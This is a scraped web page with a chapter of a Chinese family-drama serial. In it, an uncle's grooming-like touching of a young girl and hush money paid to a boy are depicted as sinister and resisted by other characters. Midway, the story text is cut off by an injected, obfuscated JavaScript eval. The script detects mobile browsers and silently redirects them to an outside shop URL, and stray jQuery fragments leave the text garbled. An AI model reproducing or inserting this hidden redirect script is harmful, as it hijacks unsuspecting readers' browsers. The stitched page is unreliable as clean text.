徐安琪和沈知行见面之后,内心震动不已,回到房间里还沉浸在自己的情绪当中,都没注意到刘子羡不在房间。
她回忆着念少年狂的往事,按捺不住内心的悸动,想要去找同龄人孙希语倾诉,结果孙希语还在埋头写方案,没办法全心全意听自己的心事。
徐安琪想到沈知行也是这个酒店的合伙人,想着不如借着合作的由头,大家一起吃个饭,这样的话就不算自己的私心了。
徐安琪说起这个提议,孙希语开心地从沙发上蹦起来,抱住徐安琪说:“谢谢琪琪,你可真是我的福星!如果这次合作达成了我一定要给你一笔大大的分红!”
徐安琪有些脸热,只好说:“没事的,就是你要跟我婆婆还有你妈她们说一声,我们是为了工作才跟沈总一起吃饭的,免得她们说闲话。”
孙希语满口答应,说:“没问题!”
/
周南坐在大堂角落的沙发上,手机屏幕亮着,正在修下午和杨俊杰拍的贴脸自拍。
她把滤镜调得亮了些,又给两人的脸加了个搞怪的猫耳朵特效,手指点了点“谁可以看”,勾选了“部分可见”,只选了Joey。
她嘴角勾起一抹冷笑,心里想着,等他看到这张照片,肯定会气得跳脚。
就在她准备点击发送的时候,大堂门口突然传来一声尖利的尖叫。
周南吓了一跳,手一抖,差点把手机扔出去。
她抬头看去,只见张傲雪正扑向刘乐游,脸上满是心疼和愤怒。
“我的乖孙儿!你这是怎么了?谁把你打成这样的?”
张傲雪抓着刘乐游的胳膊,指着他胳膊上大片的淤青,还有嘴角的红肿,声音都在发抖,“告诉奶奶,是谁干的!奶奶把他剥皮抽筋,喝他的血!”
刘乐游打了个寒战,下意识地往后缩了缩胳膊。
他低着头,刘海遮住眼睛,声音很小:“没人打我,是我自己走路不小心,撞到墙上了。”
“撞墙能撞成这样?”张傲雪显然不信,还想再追问。
徐安琪从旁边走过来,手里拿着补妆镜,正对着镜子涂口红。
她扫了刘乐游一眼,漫不经心地说:“男孩子皮糙肉厚的,撞一下没事。走路小心点,等下去前台拿瓶碘酒自己擦擦。对了,晚上沈总请我们吃饭,你收拾一下,别邋里邋遢的。”
刘乐游抬起头,看了徐安琪一眼,眼神里闪过一丝失落。
他抿了抿嘴,乖巧地点了点头:“好。”
张傲雪还想说什么,被徐安琪拉了一把:“妈,小孩子磕磕碰碰很正常,我要先去房间换衣服,等下要跟希语还有沈总一起讨论合作的事情。”
张傲雪这才作罢,临走前还不忘瞪了周围一眼,好像谁都有可能是打她孙子的凶手。
周南坐在沙发上,手里的手机早就停在了发送界面。
她瞪大了眼睛,一脸不敢置信。
她本来以为,被自己揍了一顿之后,刘乐游这小子肯定会转头就跟家长哭诉,没想到他居然跟妈妈和奶奶说,是自己不小心撞到墙的。
周南皱起眉头,看着刘乐游低着头,慢慢往前台走的背影。
他的肩膀微微耸着,脚步有些沉重,一点都不像平时那个嚣张阴暗的样子。
周南心里咯噔一下,一股莫名的不安涌了上来。
/
前台的灯光暖黄,刘乐游靠在台边,颧骨上的淤青在灯光下格外显眼,他低着头,声音闷闷地问前台要碘酒和棉签。
刘同光刚从电梯出来,准备去餐厅吃饭,他看到刘乐游,走过去接过前台递来的药盒,拉着他走到旁边的休息区坐下。
“谁打的你?”刘同光打开碘酒盖子,用棉签蘸了蘸,语气平淡。
刘乐游猛地抽回胳膊,眼神冰冷地看着他:“不该你问的别问。”
“我现在对你不感兴趣了。”刘同光把棉签递给他,“你可以说实话。”
刘乐游盯着他看了半天,慢慢放下胳膊。“我说了你会帮我教训她吗?”
“看情况。”
“一个嚣张又没礼貌的人。”
刘同光挑了挑眉:“是周南吗?”
话音刚落,孙可拉着刘子羡的手跑了过来。
孙可看到刘乐游胳膊上的伤,惊讶地瞪大眼睛:“乐游哥哥,你怎么了?受伤了吗?”
刘乐游抬头,目光扫过大堂角落的周南,扯了扯嘴角:“被狗咬了。”
周南靠在柱子上,听到这话,对着他竖了个中指,但其他人都没注意到她的动作。
“哪里有狗?”孙可吓得往后缩了缩,紧紧抓住刘子羡的胳膊。
“逃去后面的森林里了。”刘乐游逗她。
孙可拍了拍自己的胸脯,松了口气:“那还好,森林里的大灰狼会吃掉它吧?”
刘同光看着孙可,笑了笑:“你怎么什么都怕?又怕怪兽又怕狗。”
“本来就很可怕嘛。”孙可撅着嘴说。
刘子羡凑过来,盯着刘同光手里的碘酒瓶子,好奇地问:“这是什么呀?”
“涂在伤口上的,能让伤口快点好。”刘同光说着,看到刘子羡嘴巴上沾着一圈奶油,油乎乎的,又说,“你少吃点甜品,小心长蛀牙。”
孙可立刻挡在刘子羡前面,仰着头看着刘同光:“你干嘛这么说我的朋友?他想吃就吃,又没吃你家的。”
刘同光没生气,反而笑得更温柔了。他看到孙可的小腿上有几个红红的蚊子包,指着说:“你腿上也被咬了,我帮你涂一下碘酒吧,不然会痒的。”
“不用了吧,就是蚊子咬的。”刘乐游在旁边开口,语气有些冷淡。
“好呀好呀。”孙可却很开心,立刻把小腿伸了过去。
刘同光拿起棉签,蘸了点碘酒,轻轻涂在孙可的腿上。
他的手指慢慢划过孙可的小腿,动作格外轻柔。
周南在柱子后面看着,她看到刘同光的手指在孙可的腿上停留了很久,还轻轻抚摸了一下。
周南再也忍不住,快步走过去,一把打开刘同光的手。
“你神经吧!”周南的声音很大,“干嘛摸她的腿!”
刘同光抬起头,一脸无辜地看着她:“是可可自己让我帮她涂的呀。”
“你干嘛要赶走每个对我好的人!”孙可也生气了,瞪着周南,“小叔叔是好人,他在帮我涂药!”
周南看着孙可气鼓鼓的脸,又看了看刘同光那副无辜的样子,她咬了咬牙,转身就走,脚步重重地踩在地板上。
刘同光看着周南的背影,嘴角的笑容慢慢消失了。
他转过头,继续给孙可涂药,动作依旧温柔。
刘乐游坐在旁边,手里拿着手机,屏幕对着地面。
他悄悄按下快门,拍下了刘同光低头亲孙可额头的照片。
孙可涂完药,拉着刘子羡跑去玩了。
休息区只剩下刘同光和刘乐游两个人,刘同光从钱包里拿出一叠现金,塞到刘乐游手里。“把照片删掉,不要外传。”
刘乐游捏着手里的钱,数了数,然后把手机里的照片删掉了。
他站起身,把钱揣进兜里,没说话,转身往电梯口走去。
/
傍晚的酒店房间拉着半幅窗帘,夕阳透过纱帘,在地板上投下昏黄的光影。
许雪梅和张傲雪说见到老朋友后心里很不舒服,没心思吃晚饭,就没跟着大家一起去饭厅了。
许雪梅坐在床边,卷起裤腿,露出小腿上几道细长的伤口。
那是刚才从谢海棠家院子跑出来时,被篱笆上的荆棘划的,血迹已经干成了暗红色。
她轻轻摸着伤口,声音带着哽咽:“她到底还是介意的。这么多年了,她一点都没原谅我们。”
张傲雪坐在旁边的椅子上,她的头发还乱糟糟的,披肩也扯破了一个角。
她撇了撇嘴,语气依旧硬邦邦的:“介意又能怎么样?我看她就是看我们日子过得比她好,心里不平衡。再说了,要是她自己身正不怕影子斜,当初也不会被我们抓住把柄。”
“话不能这么说。”许雪梅擦了擦眼角的眼泪,“当年要不是我们抢了她的名额,她也不会一辈子困在山里。你看她现在,又黑又瘦,看着比我们老了十岁,我都能管她叫大姐了。以前她可是我们班里最水灵的姑娘,追她的男生能排到村口。”
说着,许雪梅的眼泪又掉了下来:“不然我给她打五十万吧,就当是补偿她。这样我心里也能好受点。”
“你敢!”张傲雪立刻放下水杯,瞪着她,“五百块都别给!这些乡下人贪得无厌,你今天给她五十万,她明天就敢跟你要五百万。到时候缠上你,甩都甩不掉。”
“那怎么办啊?”许雪梅捂着脸,肩膀一抽一抽的,“我一看到她那个样子,心里就堵得慌。当年我们三个那么好,怎么就变成现在这样了。”</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17510708|202983||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>
张傲雪看着她哭,心里也不是滋味。
她走过去,拍了拍许雪梅的肩膀,语气软了下来:“没办法啊姐。这就是命。这是她的命,也是我们的命。当年的事已经发生了,再后悔也没用。”
两人都没再说话,房间里安安静静的,只有窗外偶尔传来的虫鸣声。
夕阳慢慢沉下去,房间里的光线越来越暗。
“还记得吗?”许雪梅突然开口,声音很轻,“当年我们三个偷偷跑到后山摘桃子,谢海棠爬树最厉害,每次都摘最大最红的给我们。那时候我们还说,以后要一起上大学,一起在城里工作,永远都不分开。”
“记得。”张傲雪点了点头,眼神也变得悠远,“那时候多好啊,什么都不用想,每天就知道玩。谁能想到后来会发生那样的事。”
“要是当年我们没有举报她就好了。”许雪梅轻声说。
张傲雪没说话,只是看着窗外漆黑的夜空。
/
酒店的大包间里灯火通明,圆桌上摆满了当地特色菜,热气袅袅升起,带着浓郁的香味,却没人有心思动筷子。
孙希语坐在徐安琪身边,手里的筷子戳着碗里的米饭,眼神时不时飘向对面的沈知行。
她今天特意穿了一套西装,就是为了给对方留个好印象,好趁机谈瑜伽合作的事。
沈知行正侃侃而谈自己的创业经历,从最初的白手起家,到现在开了好几家酒店,语气里满是意气风发。
徐安琪坐在旁边,双手放在膝盖上,眼睛一眨不眨地看着他,像个最忠实的听众,脸上带着淡淡的笑意。
几个人各怀心事,一顿饭吃得食不知味。
周南扒了两口饭就放下了筷子,她实在受不了这种虚伪的氛围,悄悄起身离席,很快,
孙可和刘子羡早就坐不住了,像两只没头的蜜蜂一样在包间里乱飞,一会儿敲敲碗碟,一会儿围着桌子跑圈,发出刺耳的尖叫声。
徐安琪和孙希语都没心思管孩子,只有刘同光站起身,耐心地把两个小孩拉到身边,给他们夹了块鸡肉,擦了擦沾在脸上的油。“乖乖吃饭,吃完带你们去外面抓萤火虫。”两个小孩一听有萤火虫抓,立刻安静下来,大口大口地往嘴里扒饭。
没过多久,刘同光就牵着两个小孩走出了包间。
外面的天色已经黑了,走廊里的灯光昏黄。
刘子羡跑着跑着,突然停下来,看着刘同光,歪着头问:“小叔叔,你为什么老是亲孙可呀?”
刘同光的动作顿了一下,脸上的笑容有些僵硬。
他蹲下来,看着刘子羡,笑着说:“因为可可可爱呀。你也很可爱,叔叔也亲你一下好不好?”说完,他就凑过去,想亲刘子羡的脸颊。
刘子羡猛地往后退了一步,用力推开了刘同光。
刘同光没站稳,往后踉跄了两步,后脑勺正好撞在身后的台阶棱角上。
他闷哼一声,直直地倒在地上,一动不动。
孙可和刘子羡都吓傻了,站在原地愣了半天。
孙可小心翼翼地走过去,用手指戳了戳刘同光的胳膊,小声问:“小叔叔,你死了吗?”
刘同光躺在地上,闭着眼睛,没有反应。
刘子羡也凑过来,伸手捏了捏他的脸,又挠了挠他的胳膊窝。
见刘同光还是一动不动,刘子羡突然拍手大喊:“太好了!我叔叔死了!有肉吃了!”
话音刚落,刘同光猛地坐了起来,脸色铁青。
他指着刘子羡,怒气冲冲地说:“你这孩子怎么这么难搞!去找你妈妈去!别跟着我了!”
他刚说完,就觉得后脑勺一阵剧痛,伸手一摸,指尖沾了黏糊糊的血。刘同光看着手上的血,愣了一下。
“小叔叔!你流血了!”孙可吓得大叫起来,“你快去医院吧!”
刘子羡也吓坏了,刚才的兴奋劲一下子消失得无影无踪。
他看着刘同光手上的血,眼泪一下子就涌了出来。他扑过去,抱住刘同光的胳膊,小声说:“小叔叔,对不起,我不是故意的。妈妈总是嫌弃我胖,骂我吃得多,只有你不嫌弃我。”
说完,他踮起脚尖,在刘同光的脸上亲了一下。
刘同光看着他哭得通红的小脸,又摸了摸还在流血的后脑勺,心里五味杂陈。
他叹了口气,伸手揉了揉刘子羡的头发,轻声说:“没事,叔叔不怪你。这点小伤,不碍事的。”